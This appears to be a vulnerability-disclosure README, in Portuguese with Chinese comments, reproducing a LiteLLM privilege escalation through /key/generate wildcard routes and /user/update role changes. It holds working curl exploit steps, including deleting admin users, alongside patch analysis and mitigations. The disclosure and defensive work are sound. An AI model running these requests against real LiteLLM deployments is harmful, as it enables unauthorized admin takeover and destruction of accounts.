CVE-2026-47101 — Escalação de Privilégio no LiteLLM via /key/generate + /user/update

O endpoint /key/generate do LiteLLM v1.82.6 (versões anteriores à v1.83.14) permite que um internal_user de baixo privilégio solicite uma chave de API com rota curinga ["/*"], e posteriormente, através do endpoint /user/update, eleve seu próprio papel para proxy_admin, resultando em escalação de privilégio não autorizada.

Descrição

Os endpoints /key/generate (para gerar chaves de API) e /user/update (para atualizar atributos de usuário) do LiteLLM apresentam três falhas consecutivas de autorização que podem ser encadeadas por um usuário de baixo privilégio:

1. /key/generate não valida allowed_routes — qualquer papel (incluindo internal_user) pode solicitar a rota curinga ["/*"]
2. A verificação de rota recai para correspondência curinga de allowed_routes — a chave curinga gerada pode acessar todos os endpoints administrativos
3. /user/update permite auto-modificação do campo user_role — usando a chave curinga, o usuário pode elevar seu próprio papel para proxy_admin

Cadeia de ataque

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  获得通配符 API key
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  角色提升为 proxy_admin
  →  GET  /user/list     (使用通配符 key)
  →  验证管理员访问权限

Prova de Conceito

Preparação do ambiente

# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM（v1.82.6，digest 固定）
docker compose up -d litellm

# 等待服务就绪（约 10-30 秒）
sleep 15

Confirmar que o serviço está em execução

# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10

A saída esperada deve conter logs de inicialização bem-sucedida, como Uvicorn running on http://0.0.0.0:4000.

Passo 1: Criar uma conta internal_user

Usando a chave mestra, crie uma conta internal_user de baixo privilégio:

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Saída esperada:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Anote o user_id e a key retornados — serão necessários nas etapas seguintes.

Passo 2: Gerar uma chave de API com rota curinga

Como internal_user, chame /key/generate solicitando uma chave com rota curinga ["/*"]:

# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Saída esperada:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ Ponto de vulnerabilidade: o internal_user gerou com sucesso uma chave de API com a rota curinga ["/*"]! Essa chave pode acessar todos os endpoints administrativos, incluindo /user/update, /user/list, etc.

Passo 3: Elevar o privilégio para proxy_admin

Use a chave curinga para chamar /user/update e elevar o papel do usuário para proxy_admin:

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Saída esperada:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Ponto de vulnerabilidade: user_role foi alterado de internal_user para proxy_admin! O endpoint /user/update permite que o usuário modifique seu próprio campo user_role sem qualquer restrição de permissão.

Passo 4: Verificar o acesso administrativo

Verifique a elevação de privilégio através do endpoint /user/list:

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

Saída esperada:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

O endpoint /user/list só permite acesso ao papel proxy_admin. Obter a lista de usuários confirma que a elevação de privilégio está em vigor.

Passo 5: Extensão — Excluir um usuário administrador

Utilizando o privilégio proxy_admin obtido, é possível excluir qualquer usuário via /user/delete:

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Saída esperada:

1

Reprodução com um comando

As etapas acima foram integradas no script demo.sh, que pode ser executado diretamente:

# 完整复现（包含步骤 1-5）
bash demo.sh

# 同时测试修复版本对比
bash demo.sh --fixed

Verificação da versão corrigida

Inicie a versão corrigida (v1.83.14-stable) para verificar que a vulnerabilidade foi corrigida:

# 启动修复版本
docker compose --profile fixed up -d litellm-fixed

# 等待就绪
sleep 15

Crie um internal_user:

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

Tente gerar uma chave com rota curinga (esperado: bloqueio):

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Saída esperada (versão corrigida bloqueia a solicitação não autorizada):

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

Comparação entre as versões vulnerável e corrigida:

Endpoints Vulneráveis

POST /key/generate

Gera uma nova chave de API. O parâmetro allowed_routes é usado para restringir a lista de rotas que a chave pode acessar.

POST /user/update

Atualiza atributos de usuário, incluindo o campo user_role.

Técnica de Exploração

Passo 1: Gerar uma chave de API com rota curinga

Como internal_user, chame /key/generate solicitando uma chave com ["/*"]:

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}

A resposta contém uma nova chave de API com permissão de rota curinga.

Passo 2: Elevar o papel para proxy_admin

Use a chave curinga para chamar /user/update:

POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

Passo 3: Verificar o privilégio de administrador

GET /user/list
Authorization: Bearer sk-wildcard-key

Análise da Causa Raiz

A causa raiz reside em três verificações de autorização ausentes em locais independentes:

1. /key/generate — Falta de validação do papel para allowed_routes

O endpoint /key/generate aceita o parâmetro allowed_routes e o associa diretamente à chave, sem verificar o papel do solicitante. Até mesmo um internal_user pode solicitar permissões de rota de nível administrativo.

# 有漏洞的伪代码 — 未校验角色
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
    # 仅验证了 API key 有效性
    # 未检查 user_role 是否允许请求 allowed_routes
    allowed_routes = params.get("allowed_routes", [])
    new_key = create_key(user=user, allowed_routes=allowed_routes)
    return {"key": new_key}

2. Autorização de rota recai para correspondência curinga de allowed_routes

O middleware, ao verificar a permissão de rota, se a verificação de autorização baseada no papel do usuário falhar, recai para verificar a lista allowed_routes da chave de API. Como ["/*"] corresponde a todas as rotas, todos os endpoints administrativos são liberados.

# 有漏洞的伪代码 — 路由检查回退逻辑
async def authorize_request(request, api_key):
    # 用户角色检查失败后回退到 allowed_routes
    if not user_role_authorized(request, api_key.user):
        # 检查 allowed_routes — ["/*"] 匹配所有
        if not any(match_route(route, request.path) for route in api_key.allowed_routes):
            return HTTP_403
    return HTTP_200

3. /user/update — Permite auto-modificação de user_role

O endpoint /user/update, ao atualizar atributos de usuário, permite que o usuário modifique seu próprio campo user_role sem qualquer restrição. Apenas o papel proxy_admin deveria ter permissão para modificar papéis de usuário.

# 有漏洞的伪代码 — 未限制 user_role 修改
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
    user_id = params.get("user_id")
    updates = {}
    if "user_role" in params:
        updates["user_role"] = params["user_role"]  # 未做权限校验！
    update_user_in_db(user_id, updates)
    return {"user_id": user_id, "data": updates}

Análise do Patch (v1.83.14)

A versão corrigida adiciona verificações de autorização nos três aspectos seguintes:

1. /key/generate — Nova validação do parâmetro allowed_routes: usuários comuns não podem solicitar permissões de rota de nível administrativo
2. Autorização de rota — Correção da lógica de recuo, garantindo que a verificação do papel do usuário tenha prioridade sobre allowed_routes
3. /user/update — Restrição à modificação do campo user_role: apenas proxy_admin pode modificar papéis de usuário

Estrutura do Repositório

CVE-2026-47101/
├── README.md                               # This file
├── CVE-2026-47101_漏洞复现报告.docx          # Reproduction report (Chinese)
├── docker-compose.yml                      # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml                             # LiteLLM config with database connection
├── requirements.txt                        # Python dependencies
├── demo.sh                                 # One-click reproduction script
├── exploit/
│   ├── exploit.py                          # Python exploit script
│   └── payload.py                          # Payload builders
├── docs/
└── screenshots/

Mitigação

1. Atualize para o LiteLLM v1.83.14+ (verificações de autorização corrigidas)
2. Restrincione os privilégios das chaves de API — aplique o princípio do menor privilégio para allowed_routes
3. Audite usuários e chaves existentes em busca de sinais de escalação de privilégio
4. Monitore chamadas a /user/update com alterações em user_role para atividades anômalas

Referências

• NVD Detail
• GitHub Security Advisory
• Obsidian Security Advisory

Aviso: Este conteúdo é fornecido apenas para fins educacionais e testes de segurança autorizados.